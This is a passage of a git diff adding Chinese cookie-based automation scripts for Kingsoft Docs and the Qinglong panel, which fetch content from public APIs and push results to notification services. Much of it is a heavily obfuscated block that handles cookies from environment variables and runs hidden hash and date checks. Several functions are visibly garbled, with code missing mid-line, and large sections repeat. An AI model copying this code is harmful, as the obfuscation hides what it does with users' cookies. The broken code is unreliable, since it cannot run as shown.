1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.suyanw.cn/api/weimei.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + let url = "https://api.71xk.com/api/picture/v5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + // console.log(resp) + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('D' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js b/脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js new file mode 100644 index 0000000..c1dd4ee --- /dev/null +++ b/脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js @@ -0,0 +1,599 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/imgcover.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgcover.js +// # Repo: 